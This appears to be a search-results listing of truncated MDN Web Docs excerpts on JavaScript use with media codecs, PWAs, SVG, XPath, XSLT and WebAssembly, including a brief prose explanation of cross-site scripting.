video/mp4; codecs="avc1.4d002a" An MPEG-4 file containing AVC (H.264) video, Main Profile, Level 4.2. As is the case with any MIME type parameter, codecs must be changed to codecs* (note the asterisk character, *) if any of the properties of the codec use special characters which must be percent-encoded per RFC 2231, section 4: MIME Parameter Value and Encoded Word Extensions. You can use the
JavaScript encodeURI() function to encode the parameter list; similarly, you can use decodeURI() to decode a previously encoded parameter list. When the codecs parameter is used, the specified list of codecs must include every codec used for the contents of the file. The list may also contain codecs not present in the file.= Codec options by container The containers below support extended codec options...
Recommended Web Performance Timings: How long is too long? - Web Performance
ng. There are different suggested times for initially loading the page versus loading additional assets, responding to user interaction, and ensuring smooth animations: Idling goal Browsers are single threaded (though background threads are supported for web workers). This means that user interaction, painting, and script execution are all on the same thread. If the thread is busy doing complex
JavaScript execution, the main thread will not be available to react to user input, such as pressing a button. For this reason, script execution should be limited in scope, divided into chunks of code that can be executed in 50ms or less. This makes the thread available for user interactions. Animation goal For scrolling and other animations to look smooth and feel responsive, the content repaints should ...
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
}; When the button is clicked, fetch asks the server to send the notification with the given parameters: payload is the text that to be shown in the notification, delay defines a delay in seconds until the notification will be shown, and ttl is the time-to-live setting that keeps the notification available on the server for a specified amount of time, also defined in seconds. Now, onto the next
JavaScript file. server.js The server part is written in Node.js and needs to be hosted somewhere suitable, which is a subject for an entirely separate article. We will only provide a high-level overview here. The web-push module is used to set the VAPID keys, and optionally generate them if they are not available yet. const webPush = require('web-push'); if (!process.env.VAPID_PUBLIC_KEY || !process.e...
Progressive web apps (PWAs)
sponsive design -- Learn the basics of responsive design, an essential topic for modern app layout. Mobile first -- Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top. Add to home screen guide -- Learn how your apps can take advantage of Add to home screen (A2HS). Tools localForage -- A nice simple
JavaScript library for making client-side data storage really simple; it uses IndexedDB by default and falls back to Web SQL/Web Storage if necessary. ServiceWorkerWare -- An Express-like microframework for easy Service Worker development. oghliner -- Not only a template but a tool for deploying Offline Web Apps to GitHub Pages. sw-precache -- A node module to generate service worker code that will preca...
Web API reference - Web technology reference
Each individual interface across all APIs is listed in the index. There's also a listing of all available events in the event reference. Document Object Model The DOM is an API that allows access to and modification of the current document. It allows manipulation of document Node and Element. HTML, XML and SVG have extended it to manipulate their specific elements. ...
textLength - SVG: Scalable Vector Graphics
displayed elements contained inside a grouping <div>: <div class="controls"> <input type="range" id="widthSlider" min="80" max="978"> <span id="widthDisplay"></span> </div> The <input> element, of type "range", is used to create the slider control the user will manipulate to change the width of the text. A <span> element of ID "widthDisplay" is provided to display the current width value.
JavaScript Finally, let's have a look at the
JavaScript code. It starts by stashing references to the elements it will need to access, using Document.getElementById(): const widthSlider = document.getElementById("widthSlider"); const widthDisplay = document.getElementById("widthDisplay"); const textElement = document.getElementById("hello"); const baseLength = Math.floor(textElement.textLength.baseVal.val...
Linking - SVG: Scalable Vector Graphics
d. However, target does not work with Mozilla's implementation of the SVG <a> element in Firefox 1.5. (The problem will be fixed in Firefox 2.0.) Anyway, the resultant behavior in Moz SVG is that page2.html will be loaded into the frame where the SVG button was (i.e. you would now have page2.html embedded inside a 100x50 pixel frame inside page1.html). To get around this, requires a little ugly
JavaScript hacking: button.svg: <?xml version="1.1" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <g onclick="top.document.href='page2.html'" cursor="pointer"> <!-- button graphical elements here --> </g> </svg> Example For an example of this solution at work see www.codedread.com. ...
SVG as an Image - SVG: Scalable Vector Graphics
External resources (e.g. images, stylesheets) cannot be loaded, though they can be used if inlined through data: URIs. :visited-link styles aren't rendered. Platform-native widget styling (based on OS theme) is disabled. Note that the above restrictions are specific to image contexts; they don't apply when SVG content is viewed directly, or when it's embedded as a document via t...
Scripting - SVG: Scalable Vector Graphics
t doesn't represent an SVG document. You can also use document.getElementById("svg_elem_name").getSVGDocument(), which gives the same result. You may find documentation referring to an SVGDocument interface. Prior to SVG 2, SVG documents were represented using that interface. However, SVG documents are now represented using the XMLDocument interface instead. Inter-document scripting: calling
JavaScript functions When calling a
JavaScript function that resides in the HTML file from an SVG file that is embedded in an HTML document, you should use parent.functionname() to reference the function. Although the Adobe SVG viewer plugin allows the use of functionname(), it's not the preferred way to do things. According to the SVG wiki the "parent" JS variable is broken in Adobe's SVG version 6 prev...
Getting started - SVG: Scalable Vector Graphics
o the HTML5 specification. The SVG file can be referenced with an object element: <object data="image.svg" type="image/svg+xml" /> Likewise an iframe element can be used: <iframe src="image.svg"></iframe> An img element can theoretically be used too. However, this technique doesn't work in Firefox before 4.0. Finally, SVG can be created dynamically with
JavaScript and injected into the HTML DOM. With this method, replacement technologies can be implemented for browsers which normally can't process SVG. See this dedicated article which deals with the topic in-depth. How SVG handles sizes and units will be explained on the next page. SVG file types SVG files come in two flavors. Normal SVG files are simple text files containing SVG markup. The recom...
Tools for SVG - SVG: Scalable Vector Graphics
aster image from an SVG source. ImageMagick is one of the most famous command-line image processing tools. The Gnome library rsvg is used by the Wikipedia to raster their SVG graphics. Usage of headless browsers such as SlimerJS and PhantomJS are also popular for this purpose, as the image produced is closer to what the SVG will look like in the browser. Raphael JS URL: raphaeljs.com This is a
JavaScript library, that acts as an abstraction layer between browser implementations. Notably older versions of Internet Explorer are supported by generating VML, a vector markup language, that is one of two ancestors of SVG and exists since IE 5.5. Snap.svg URL: snapsvg.io A newer
JavaScript abstraction layer from the same author of Raphael JS. Snap.svg is designed for modern browsers and therefore sup...
Types of attacks - Web security
t access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the HTML content. Cross-site scripting attacks usually occur when 1) data enters a Web app through an untrusted source (most often a Web request) or 2) dynamic content is sent to a Web user without being validated for malicious content. The malicious content often includes
JavaScript, but sometimes HTML, Flash, or any other code the browser can execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to a webpage controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable...
Index - XPath
he true function returns a boolean value of true. 54 unparsed-entity-url XSLT, XSLT_Reference The unparsed-entity-url() function returns the URI of the unparsed entity with the given name. This is non-XML data referenced in the DTD of the source document. 55 Index Index, Reference, XPath, XSLT Found 57 pages: 56 Introduction to using XPath in
JavaScript Add-ons, DOM, Extensions,
JavaScript, Transforming_XML_with_XSLT, Web Development, XML, XPath, XSLT This document describes the interface for using XPath in
JavaScript internally, in extensions, and from websites. Mozilla implements a fair amount of the DOM 3 XPath, which means that XPath expressions can be run against both HTML and XML documents. 57 XPath snippets Exampl...
Introduction - XSLT: Extensible Stylesheet Language Transformations
Introduction With modern browsers supporting XSLT, developers can now use
JavaScript to access the power that XSLT provides.
JavaScript can enable a web application to load XML data, process it via XSLT into a presentable form and then add it into an existing document. Since the XML data loaded only contains the raw information without any presentation data, it can load quickly even on dialup. XSLT allows the author to directly manipulate the structure of a document. For example, it permits the rearranging and sorting of elements; it also provides more fine-grained control of the resulting document's structure. As of Mozilla 1.2, Gecko enables
JavaScript to create XSLT processors. This article covers XSLT/
JavaScript bindings in Gecko. They are not available in Netscape 7.0x however are av...
XSLT: Extensible Stylesheet Language Transformations
s or to convert XML data into web pages or PDF documents. Documentation XSLT Element Reference Reference. Transforming XML with XSLT XSLT allows a stylesheet author to transform a primary XML document in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format. Using the Mozilla
JavaScript interface to XSL Transformations This document describes the
JavaScript interface to the XSLT processing engine in Mozilla 1.2 and up. Specifying parameters using processing instructions Firefox allows stylesheet parameters to be specified when using the <?xml-stylesheet?> processing instruction. This is done using the <?xslt-param?> PI described in this document. XSLT & XPath Tutorial The T...
Web technology for developers
n. MathML The Mathematical Markup Language makes it possible to display complex mathematical equations and syntax. Temporary The stuff below here is temporary to help keep track of things while organization work is ongoing. Pay it no mind. ...
Converting WebAssembly text format to wasm - WebAssembly
func from a module called imports, and exports a function called exported_func: (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i ) ) The WebAssembly function exported_func is exported for use in our environment (e.g. the web app in which we are using our WebAssembly module). When it is called, it calls an imported
JavaScript function called imported_func, which is run with the value (42) provided as a parameter. Converting the text .wat into a binary .wasm file Let's have a go at converting the above .wat text representation example into .wasm assembly format. To start with, make a copy of the above listing inside a text file; call it simple.wat. We need to assemble this textual representation into the assembly...